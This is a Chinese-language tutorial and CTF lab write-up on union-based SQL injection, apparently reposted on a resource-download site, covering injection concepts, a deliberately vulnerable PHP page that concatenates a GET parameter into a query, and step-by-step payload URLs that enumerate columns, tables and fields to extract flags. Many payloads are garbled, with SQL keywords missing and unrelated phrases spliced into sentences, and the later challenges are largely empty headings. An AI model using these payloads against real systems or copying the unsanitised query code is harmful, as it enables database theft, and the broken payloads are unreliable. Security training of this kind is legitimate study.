SQL注入——显错注入
SQL注入——显错注入
SQL注入本质是什么?
把用户输入当做代码执行
sql注入的条件
用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行
注入的基本流程

order by的作用及含义
order by 用于判断显示位,order by 原有的作用是对字段进行一个排序SQL注入——显错注入,在sql注入中用order by 来判断排序,order by 1就是对一个字段进行排序,如果一共四个字段,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值
union 如何发挥作用
union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sq查询(我们添加的),但两张表联合查询的字段数必须相同。
是什么
是mysql的系统自带表,用于查询数据,在.0以上版本中存在
加单引号和加 and 1=2有什么区别
有区别sql注入过滤or,单引号是为了闭合语句,而and 1=2是为了让union前面的语句无查询结果无输出,然后直接输出拼接进去union后面的那个语句的查询结果
and 是什么意思
and 为和的意思,一个语句中,当前一个正确,后一个错误时,如果是and连接整个语句返回是False
or是什么意思
or 为和的意思,一个语句中,当前一个正确,后一个错误时,如果是or连接整个语句返回是True
and 和 or 选择使用有什么讲究?
And 语句执行时,如果and 前的语句返回False,那么and后面的语句根本不执行
除了单引号外还有其他的符号可以闭合吗?
实际上还是要看源码,常见的是单引号和双引号还有括号
limit的作用
limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据
可以查讯多个字段内容吗
可以SQL注入——显错注入,可以使用语句()函数进行输出
%23有什么作用
%23编码为#,用于注释后面的语句,防止SQL注入点后原本的SQL语句对SQL注入进行干扰
报错注入的原理
利用sql注入拼接sql语句,将报错信息输出时同时将我们想要的信息输出
闭合是什么
在sql查询中,代码比较严谨,括号和引号都得成双成对,引号内的默认是字符串不会当作SQL语句执行,所以必须闭合然后才能注入,当然有些SQL语句直接拼接,也就不用什么闭合了
SQL注入有数据库限制吗?
没有,常见的数据库都可以
SQL注入有动态脚本语言限制吗
没有限制
SQL注入如果没系统自带表怎么办
那就惨了,只能通过猜,不断的尝试,一般而言数据库的表也不会乱起名字,毕竟是团队协作的东西
系统自带库管理员不会修改吗?
一般而言并不会
union all 和 union 区别
如果输出的数据有相同的,Union只会输出一次,而union all都会输出
为什么用and 1=1正常 and 1=2报错来判断是否存在SQL注入
因为如果存在SQL注入,那么and就是和的意思,1=1是一个恒等式,然后因为原本能够查出数据,那么两个真就是True,但是1=2肯定是不可能的sql注入过滤or,这里就会返回一个False,然后因为和必须两个真才返回True,所以这里拼接就不成立返回False.
好了好了,可以进入正题了,进入今天的flag解题时间~~
掌控安全学院SQL注入靶场 ()

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
首先先判断是否存在注入 (重点看我们的输入是不是被当成代码执行)
:81/Pass-01/index.php?id=1 and 1=2
:81/Pass-01/index.php?id=1 and 2=2
判断字段数 order by 看看数据有几列,测试得到:3列
:81/Pass-01/index.php?id=1 order by 1
:81/Pass-01/index.php?id=1 order by 2
:81/Pass-01/index.php?id=1 order by 3
:81/Pass-01/index.php?id=1 order by 4




判断显错位
:81/Pass-01/index.php?id=1 union 1,2,3

查询数据库

:81/Pass-01/index.php?id= 1,2,()

查询表名
:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where ='error' limit 0,1

:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where = 'error' limit 1,1

:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where = 'error' limit 2,1

查询列名
:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where ='' limit 0,1

:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where = '' limit 1,1

:81/Pass-01/index.php?id=1 and 1=2 union 1,2, from . where = '' limit 2,1

所以:
:81/Pass-01/index.php?id=1.1 union 1,2, from . where ='error' and ='' limit 0,1

:81/Pass-01/index.php?id=1.1 union 1,2, from . where ='error' and ='' limit 1,1

:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where = 'user' limit 0,1

:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where = 'user' limit 1,1

:81/Pass-01/index.php?id=1 and 1=1 union 1,2, from . where = 'user' limit 2,1

所以:
:81/Pass-01/index.php?id=1.1 union 1,2, from . where ='error' and ='user' limit 0,1

:81/Pass-01/index.php?id=1.1 union 1,2, from . where ='error' and ='user' limit 1,1

查询具体数据
:81/Pass-01/index.php?id=1 and 1=2 union 1,2,flag from ,1

:81/Pass-01/index.php?id=1 and 1=2 union 1,2,flag from ,1

还可以看到
:81/Pass-01/index.php?id=1 and 1=2 union 1,2,flag from limit 2,1

:81/Pass-01/index.php?id=1 and 1=2 union 1,2,flag from limit 3,1

flag是zKaQ-Nf
第二题
掌控安全学院SQL注入靶场
:81/Pass-02/index.php?id=1
我输入的是这个:
:81/Pass-02/index.php?id=1 and 1=2
但页面返回的是

所以这个是一个字符串的注入
判断字段数 order by 看看数据有几列,测试得到:3列
:81/Pass-02/index.php?id=1' order by 1
发现根本不行

:81/Pass-02/index.php?id=1' order by 1 — qwe
就可以了

这是因为–后面被自动忽略 sql注入过滤or,不管有什么都不会输入进去



判断显错位

查询数据库

查询表名



查询列名






查询具体数据

但是不对 flag错误
用limit再找



提交flag就知道了第二个是对的
第三题

所以先找个闭合方法
再判断是否存在注入


判断字段数




判断显错位

判断库名

判断表名



判断列名







查询具体数据





按照顺序flag就是第三个
第四题
和第三题很像,就是单引号变成了双引号


flag就是zKaq-98K
1. 本站所有资源来源于用户上传和网络,如有侵权请联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长处理!
6. 本站不售卖代码,资源标价只是站长收集整理的辛苦费!如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
7. 站长QQ号码 2205675299
资源库 - 资源分享下载网 » SQL注入——显错注入
常见问题FAQ
- 关于资源售价和售后服务的说明?
- 代码有没有售后服务和技术支持?
- 有没有搭建服务?
- 链接地址失效了怎么办?
- 关于解压密码

